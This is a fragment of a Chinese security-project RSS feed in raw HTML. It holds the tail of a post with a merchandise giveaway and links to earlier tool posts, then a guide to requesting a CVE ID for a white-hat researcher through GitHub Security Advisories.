8px;"><br/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;"><br/></section><section data-role="title" data-tools="135编辑器" data-id="105275"><section style="margin: 10px auto;text-align: center;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #0b79ff;margin-bottom: -22px;"><strong>06</strong></section><section style="display: inline-block;"><section style="background-color: rgb(246, 249, 253);padding: 7px 20px;" hm_fix="363:309"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #0b79ff;">幸运抽奖</section></section><section style="width: 100%;height: 1px;background-color: rgb(42, 138, 255);margin-top: -5px;margin-left: 10px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;"><br/></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;"><br/></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(0, 0, 0);">抽6位星链的铁子获得星链刺绣棒球帽！</span></strong><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(0, 0, 0);"></span></strong><strong><span style="font-size: 15px;color: rgb(0, 0, 0);font-family: 等线;"><img class="rich_pages wxw-img" data-ratio="1" style="display:inline-block;width:20px;vertical-align:text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=339318b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT096BYyBUUnKtcRk7yFia3HkQcFc1RdVOXuLKTCV2bLIR0xaPILRp2S7bH8IW4yLOAlPu7FHeqm5Jg%2F640%3Fwx_fmt%3Dpng"/></span></strong></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8927152317880794" data-s="300,640" style="width: 184px;height: 164px;" data-type="jpeg" data-w="755" src="https://wechat2rss.xlab.app/img-proxy/?k=78aa3aac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT096BYyBUUnKtcRk7yFia3HkhgRgVLnkQ6Nkp7kwMP9JsIq2c6HribicsuzMvWAwwQU2HnYC5dicib7gTA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;"><br/></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;"><br/></p><section data-tools="135编辑器" data-id="104754"><section style="margin: 10px auto;text-align: center;"><section style="background-color: rgb(245, 250, 255);padding: 12px;border-left: 7px solid rgb(183, 205, 255);border-right: 7px solid rgb(183, 205, 255);"><section style="border-width: 1px;border-style: solid;border-color: rgb(209, 223, 255);padding: 25px;" hm_fix="384:344"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 25px;height: 3px;background-image: linear-gradient(to right, rgb(245, 250, 255), rgb(255, 225, 121));border-radius: 20px;overflow: hidden;"><br/></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: rgb(126, 162, 244);margin-right: 15px;margin-left: 15px;"><span style="font-family: Optima-Regular, PingFangTC-light;">抽奖说明<br/></span></section><section style="width: 25px;height: 3px;background-image: linear-gradient(to right, rgb(255, 225, 121), rgb(245, 250, 255));border-radius: 20px;overflow: hidden;"><br/></section></section><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#666171;background: transparent;"><p style="vertical-align:inherit;"><br/></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">第一步：</span><span style="background-color: transparent;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"></span></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;">直接抽，冲就完事，就下面这个链接<br/><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"></span></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/mmbiz_png/lkcJVly3Wy0kZwfjicwHnNpDk2RjxxFEUL1Oe0kgKso0iaNO5pX45mPMEMLnJU8HOSQMrJ6UshJfft3XMSKicickog/0?wx_fmt=png" data-cropx1="0" data-cropx2="1080" data-cropy1="1071.1475409836066" data-cropy2="1905.4918032786886" data-galleryid="" data-ratio="0.7731481481481481" data-s="300,640" style="width: 488px;height: 377px;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1479f4c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy0kZwfjicwHnNpDk2RjxxFEUE1G6j8UJmoeGLts8aF1uD4mYcOAtEDDLAqFdN9krSNbJzQdJuuFxiaA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;">开奖说明：</p><p style="text-align: left;"><span style="color: rgb(255, 41, 65);"><strong>  非常重要：开奖之后，中奖的粉丝在「学蚁致用」公众号跟我联系！</strong></span></p><p style="text-align: center;"><span style="color: rgb(255, 41, 65);"><strong>不联系我就中饱私囊了～</strong></span></p></section></section></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p><p style="vertical-align:inherit;"><br/></p><section data-tools="135编辑器" data-id="86032"><section style="text-align: center;"><section style="background-color: rgb(254, 254, 254);padding-right: 15px;padding-left: 15px;display: inline-block;margin-right: auto;margin-left: auto;"><p style="text-align:center;vertical-align: inherit;color: inherit;"><span style="font-size: 14px;color: #000000;" data-brushtype="text">END</span></p></section><section style="margin-top: -12px;margin-bottom: 10px;"><section style="border-top: 1px dashed rgb(33, 33, 34);width: 100%;border-right-color: rgb(33, 33, 34);border-bottom-color: rgb(33, 33, 34);border-left-color: rgb(33, 33, 34);height: 1px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><p style="vertical-align:inherit;"><br/></p></section><section style="margin-right: 8px;margin-left: 8px;white-space: normal;letter-spacing: 0.544px;font-size: 16px;color: rgb(53, 53, 53);font-family: &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 黑体, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;line-height: 1.75em;"><img class="rich_pages __bg_gif wxw-img" data-fileid="503468052" data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;visibility: visible !important;width: 55px !important;" data-type="gif" data-w="55" src="https://wechat2rss.xlab.app/img-proxy/?k=d5b99b98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT0Z79Hq9GCticVica4ufkjk5xiarRicG97E3oEcibNSrgdGSsdicWibkc8ycazhQiaA81j3o0cvzR5x4kRIcQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-right: 8px;margin-left: 8px;white-space: normal;font-size: 16px;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;color: rgb(62, 62, 62);letter-spacing: 0.54px;background-color: rgb(255, 255, 255);line-height: 1.75em;"><strong><span style="letter-spacing: 0.5px;font-size: 15px;">往 期 热 门</span></strong></section><section style="margin-right: 8px;margin-left: 8px;white-space: normal;font-size: 16px;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;color: rgb(62, 62, 62);letter-spacing: 0.54px;background-color: rgb(255, 255, 255);line-height: 1.75em;"><span style="font-size: 12px;color: rgb(136, 136, 136);letter-spacing: 0.544px;">(点击图片跳转）</span></section><section data-mpa-template="t" data-from="yb-recommend-list"><section data-mpa-template="t" data-from="yb-recommend" data-recommend-article-type="normal" data-recomment-template-id="1" data-recommend-article-id="2650953928_1" data-recommend-article-time="1637227800" data-recommend-article-cover="http://mmbiz.qpic.cn/mmbiz_jpg/3k9IT3oQhT3KZWzXfmNAIdrBEyz6LibhmBsGUc6iaSOIbmclvVBCJLwI7aw08NIsVibV4CeaGKovBbvBqia8nV5hYw/0?wx_fmt=jpeg" data-recommend-article-title="404星链计划 | As-Exploits：中国蚁剑后渗透框架" data-recommend-article-content-url="http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&amp;mid=2650953928&amp;idx=1&amp;sn=94925cc5cf7d07ea24a7e5346b35498c&amp;chksm=80791afab70e93ec7204e5a34f354ac6703b55a330302491440c3b4de5ba38dd780fa523583d#rd"><a href="http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&amp;mid=2650953928&amp;idx=1&amp;sn=94925cc5cf7d07ea24a7e5346b35498c&amp;chksm=80791afab70e93ec7204e5a34f354ac6703b55a330302491440c3b4de5ba38dd780fa523583d&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-type="normal" data-recommend-tid="1" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><section style="width: 100%;background: #ffffff;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid=""><section style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages wxw-img" data-ratio="0.42444444444444446" style="width: 100%;max-height: 160px;object-fit: cover;margin: 0px;" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=49ee2953&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT3KZWzXfmNAIdrBEyz6LibhmBsGUc6iaSOIbmclvVBCJLwI7aw08NIsVibV4CeaGKovBbvBqia8nV5hYw%2F640%3Fwx_fmt%3Djpeg"/></span></section><section style="width: 100%;padding: 9px 7px 8px;background: rgba(0, 0, 0, 0.65);font-size: 13px;font-weight: 400;color: #ffffff;line-height: 18px;margin-top: -35px;z-index: 20;" data-mid=""><p data-recommend-title="t" data-mid="">404星链计划 | As-Exploits：中国蚁剑后渗透框架</p></section></section></section></a></section><br/><section data-mpa-template="t" data-from="yb-recommend" data-recommend-article-type="normal" data-recomment-template-id="1" data-recommend-article-id="2650953770_1" data-recommend-article-time="1637141280" data-recommend-article-cover="http://mmbiz.qpic.cn/mmbiz_jpg/3k9IT3oQhT2WqA7Z2dWe2sRdzvVkvh3CVbDP4c9sO3kM92V6oJCiatib9dRKxRBebibmapic0oxWEIjgibJexS6bJTA/0?wx_fmt=jpeg" data-recommend-article-title="404星链计划 | pocassist : 全新的开源在线 poc 测试框架" data-recommend-article-content-url="http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&amp;mid=2650953770&amp;idx=1&amp;sn=a867f6bec4e64dd5d64f0c9eecebe6fc&amp;chksm=80791a18b70e930ecc5978bf66ebeb33019a5c07c6705401dbc5c14f2d8968d18e77ccfc4d32#rd"><a href="http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&amp;mid=2650953770&amp;idx=1&amp;sn=a867f6bec4e64dd5d64f0c9eecebe6fc&amp;chksm=80791a18b70e930ecc5978bf66ebeb33019a5c07c6705401dbc5c14f2d8968d18e77ccfc4d32&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-type="normal" data-recommend-tid="1" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><section style="width: 100%;background: #ffffff;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid=""><section style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages wxw-img" data-ratio="0.42444444444444446" style="width: 100%;max-height: 160px;object-fit: cover;margin: 0px;" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=abd408a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT2WqA7Z2dWe2sRdzvVkvh3CVbDP4c9sO3kM92V6oJCiatib9dRKxRBebibmapic0oxWEIjgibJexS6bJTA%2F640%3Fwx_fmt%3Djpeg"/></span></section><section style="width: 100%;padding: 9px 7px 8px;background: rgba(0, 0, 0, 0.65);font-size: 13px;font-weight: 400;color: #ffffff;line-height: 18px;margin-top: -35px;z-index: 20;" data-mid=""><p data-recommend-title="t" data-mid="">404星链计划 | pocassist : 全新的开源在线 poc 测试框架</p></section></section></section></a></section><br/><section data-mpa-template="t" data-from="yb-recommend" data-recommend-article-type="normal" data-recomment-template-id="1" data-recommend-article-id="2650953519_1" data-recommend-article-time="1637055000" data-recommend-article-cover="http://mmbiz.qpic.cn/mmbiz_jpg/3k9IT3oQhT0ib96fqddMe0NqjDLBxpUDLJNQaGeK6dJ8ERFUFBLtg3caWkLtvMGBfMZC6dwByAZV3EdW2dAncSQ/0?wx_fmt=jpeg" data-recommend-article-title="404星链计划 | Stowaway : 专为渗透测试工作者制作的多级代理工具" data-recommend-article-content-url="http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&amp;mid=2650953519&amp;idx=1&amp;sn=a324f8351fad2799095f9b676c4b1aaf&amp;chksm=8079151db70e9c0bc25597153427aefda1a66daa0ba6c10cbc762ce94671ce07c677045a38cc#rd"><a href="http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&amp;mid=2650953519&amp;idx=1&amp;sn=a324f8351fad2799095f9b676c4b1aaf&amp;chksm=8079151db70e9c0bc25597153427aefda1a66daa0ba6c10cbc762ce94671ce07c677045a38cc&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-type="normal" data-recommend-tid="1" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><section style="width: 100%;background: #ffffff;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid=""><section style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages wxw-img" data-ratio="0.42444444444444446" style="width: 100%;max-height: 160px;object-fit: cover;margin: 0px;" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=2f01a0fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT0ib96fqddMe0NqjDLBxpUDLJNQaGeK6dJ8ERFUFBLtg3caWkLtvMGBfMZC6dwByAZV3EdW2dAncSQ%2F640%3Fwx_fmt%3Djpeg"/></span></section><section style="width: 100%;padding: 9px 7px 8px;background: rgba(0, 0, 0, 0.65);font-size: 13px;font-weight: 400;color: #ffffff;line-height: 18px;margin-top: -35px;z-index: 20;" data-mid=""><p data-recommend-title="t" data-mid="">404星链计划 | Stowaway : 专为渗透测试工作者制作的多级代理工具</p></section></section></section></a></section><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.5833333333333333" style="" data-type="jpeg" data-w="1200" src="https://wechat2rss.xlab.app/img-proxy/?k=bc0e0178&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT2lPCugsWDQaQ4y4TicQ2PYkP1ic0pfWibibFsiavzULenib1K6qzR4URa5P0nAI4AQ8tLKZVmtibYvjWpIg%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247484338">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=11086489&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484338%26idx%3D1%26sn%3De4d475ecff33acade37d1d039f1526b1%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 22 Nov 2021 21:47:00 +0800</pubDate>
    </item>
    <item>
      <title>记录一下代白帽子申请CVE的过程</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484334&amp;idx=1&amp;sn=e20074ecd0e0b1f011befdb5f5130dcc</link>
      <description>讲一讲代发现漏洞的白帽子申请 CVE ID 的过程</description>
      <content:encoded><![CDATA[<p>
原创 <span>Medicean</span> <span>2021-10-23 12:08</span> <span style="display: inline-block;"></span>
</p>

<p>讲一讲代发现漏洞的白帽子申请 CVE ID 的过程</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6b7b244f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPcCTWC1et7w0HBuTWOEQcup1waWu5XT00DxehauwDbuvkpAqib3K2tyA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在前面</span></strong><br/></p><p><br/></p><p><span style="font-size: 15px;">  接上文 「</span><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484313&amp;idx=1&amp;sn=7d2470ac7d48d642fc244d2d34cd39f2&amp;chksm=e91c5861de6bd177cc731874656b762c443c6967f53453858d803ef23f9a62d7773639ff360f&amp;scene=21#wechat_redirect" data-itemshowtype="0" tab="innerlink" style="font-size: 15px;" data-linktype="2"><span style="font-size: 15px;">从虚假的XSS到放弃RCE再到Self-RCE</span></a><span style="font-size: 15px;">」提到的，这次讲一讲我代发现漏洞的白帽子(cc7v@校长) 申请 CVE ID 的过程。</span><br/></p><p><br/></p><p><span style="font-size: 15px;">  申请CVE的方式其实挺多的，邮件、Web表单、CNA等等，具体可以去查看 CVE 网站的说明。</span><span style="font-size: 15px;">AntSword 整个软件生态都是托管在 GitHub 上的，刚好 GitHub 是 CVE 的 CNA，我们直接用 GitHub 上面的安全面板，就可以申请 CVE 了。</span></p><p><span style="font-size: 15px;"><br/></span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="29" data-source-title=""><section class="js_blockquote_digest"><section>不过有一说一，官方代替白帽子去申请CVE，速度确实挺快的</section></section></blockquote><p><br/></p><p style="text-align: left;"><span style="font-size: 16px;"><strong>正文</strong></span></p><p><br/></p><p style="text-align: center;"><strong><span style="font-size: 15px;">第 1 步，创建安全公告草稿</span></strong><span style="font-size: 15px;"><br/></span></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">  在仓库的 Security 选项卡下面，选择 Security Advisories (安全建议)，然后点击「New draft security advisory」 (创建安全建议草稿)</span></p><p><br style="white-space: normal;"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000667" data-galleryid="" data-ratio="0.35450061652281134" data-s="300,640" style="" data-type="png" data-w="3244" src="https://wechat2rss.xlab.app/img-proxy/?k=1ebf7f4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPushKJkliaRTCD0yKX52OHtSK34hC5P5Qv2Vcz5D97EKJOnfriaIMDiaPA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p style="text-align: center;"><strong><span style="font-size: 15px;">第 2 步，按照表单填写信息</span></strong><span style="font-size: 15px;"></span><br/></p><p><br/></p><p><img data-fileid="100000668" data-ratio="1.188097768331562" data-w="1882" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=03fd92c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPlQm4JeUibmf4WJd3NC5JtlQp2nXIvJicaFoj7o7uQOLXttrlblias4gWA%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><span style="font-size: 15px;">需要注意的是，漏洞等级这块，可以用 低/中/高/严重，也可以使用 CVSS 来打分：</span><br/></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000674" data-galleryid="" data-ratio="0.6356673960612691" data-s="300,640" style="" data-type="png" data-w="1828" src="https://wechat2rss.xlab.app/img-proxy/?k=84e8289a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPjyhibhNBaPQBSXnJbFxxkgic8Ht7HOMRa1BlWVvnpuYhUgxDRaE4VnfQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;">CWE ID 这块，意思就是你要选个漏洞分类，这个你按CWE的标准去找就完事了</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000676" data-galleryid="" data-ratio="0.16757940854326397" data-s="300,640" style="" data-type="png" data-w="1826" src="https://wechat2rss.xlab.app/img-proxy/?k=2adafdd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPJ379m1IzP5lnibsoALPLVDMIfFDHuppJbudsLhCxCqAyRxxz7n6TqHg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;">CVE identifier 这个选项里，如果选择 「Request CVE ID later」意思就是一会儿申请CVE ID</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000675" data-galleryid="" data-ratio="0.29086538461538464" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=d16426d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPPK8teS2NSyweWWAE3ialPictibHlsPZuop6y8r5S41UkHsTEQZpffEKMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;">填写完了保存，我们进行下一步</span><br/></p><p style="text-align: left;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;"><br/></p><p style="text-align: center;"><span style="font-size: 15px;"><strong>第三步，编辑「安全建议」</strong></span><br/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;">有细心的同学就发现了，CVE申请的时候，是需要填「漏洞发现人」的，第2步的时候貌似没有？莫急，我们点「Edit advisory」按钮</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000669" data-galleryid="" data-ratio="0.9134860050890585" data-s="300,640" style="" data-type="png" data-w="786" src="https://wechat2rss.xlab.app/img-proxy/?k=8347ad8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPKEJZKOZOtdibJfadKN69ubZ31vFibq3A05udBicFNQia8ATBbB44f7oPHg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">又回到第 2 步的表格了，但是多了一个 「Credits」项，在这一项里，我们就可以选择在这个漏洞生命周期里做出贡献的白帽子了。</span></p><p style="text-align: left;"><span style="font-size: 15px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 15px;">当然，因为我们是用 GitHub 来管理漏洞的，这里只能选择已经在 GitHub 上注册的用户</span><br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000684" data-galleryid="" data-ratio="0.2640918580375783" data-s="300,640" style="" data-type="png" data-w="1916" src="https://wechat2rss.xlab.app/img-proxy/?k=17725549&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoP7gPcJLeDWsq0Wq8rEZl6Tdt61CiccIO7Mk1rribgl7lGzv7NAORmau1A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 15px;">之后我们保存</span><br/></p><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p style="text-align: center;"><strong><span style="font-size: 15px;">第 4 步，申请分配 CVE / 发布安全公告</span></strong><br/></p><p><br/></p><p><span style="font-size: 15px;">保存完之后，可以看到安全公告草稿下方有个</span><strong><span style="font-size: 15px;color: rgb(64, 118, 0);">绿色的按钮</span></strong><span style="font-size: 15px;">，这里可以有两个选择</span></p><p><span style="font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000671" data-galleryid="" data-ratio="0.3490073145245559" data-s="300,640" style="" data-type="png" data-w="1914" src="https://wechat2rss.xlab.app/img-proxy/?k=9a94098f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPTrkdLKl9xVEamFXBj9V3cCzkJtmtuJQaic4Hj2PFUme7iayW5ICCCNxQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">1. 「Request CVE</span><span style="font-size: 15px;">」，申请CVE。选了这个之后，GitHub 的工作人员会在 72 小时内审核，审核通过之后，会预分配一个 CVE编号给你。</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000672" data-galleryid="" data-ratio="0.38703140830800403" data-s="300,640" style="" data-type="png" data-w="1974" src="https://wechat2rss.xlab.app/img-proxy/?k=3a9db439&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPibgpXkYtBePk7Twxsdyt9CQBxibvG6ibxMThK3txyaZApaiasq42UaBC8A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;">为什么是预分配，这是因为CVE要求的</span><strong><span style="font-size: 15px;color: rgb(255, 0, 0);">每一个CVE编号</span></strong><span style="font-size: 15px;color: rgb(255, 0, 0);"><strong>必须要能找到对应的厂商针对这个漏洞公开发布的信息</strong></span><span style="font-size: 15px;">，我们的安全公告现在还是草稿，除了相关人员能看到，其它人是看不到的，所以此时去搜索这个CVE编号的时候，状态是 「<strong>RESERVED</strong>」，等安全公告发布之后，这个CVE就会更改为公开状态了。</span><br/></p><p><span style="font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000677" data-galleryid="" data-ratio="0.4393203883495146" data-s="300,640" style="" data-type="png" data-w="3296" src="https://wechat2rss.xlab.app/img-proxy/?k=650c3990&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPKImvRsqvQgv9BwD6PT58jbV11ampRQn365CgqbAibffWOAhwxPI9CjA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;"></span></p><p style="text-align: left;"><span style="font-size: 15px;">2. 「Publish advisory」,发布安全公告。没啥说的，就是字面意思。点阅读原文可以跳转到公告页面</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000685" data-galleryid="" data-ratio="1.0774566473988438" data-s="300,640" style="" data-type="png" data-w="1730" src="https://wechat2rss.xlab.app/img-proxy/?k=fa1ecb9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy215NqqqtjWibuB36jSYPwoPbDicHBnM5mEtzkOpTdfYuCico9qTomgwk0sHGFT80xB18oiapG4w6uCxA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;">之后我们就只需要等待 GitHub 官方去更新 CVE 编号的状态就行了。</span></p><p><br/></p><p><span style="font-size: 15px;">文章写的时候是周末，大家都不上班，所以最后的 CVE 公开之后的图，我就不补了，过几天了有兴趣了再去搜一下。</span><br/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, 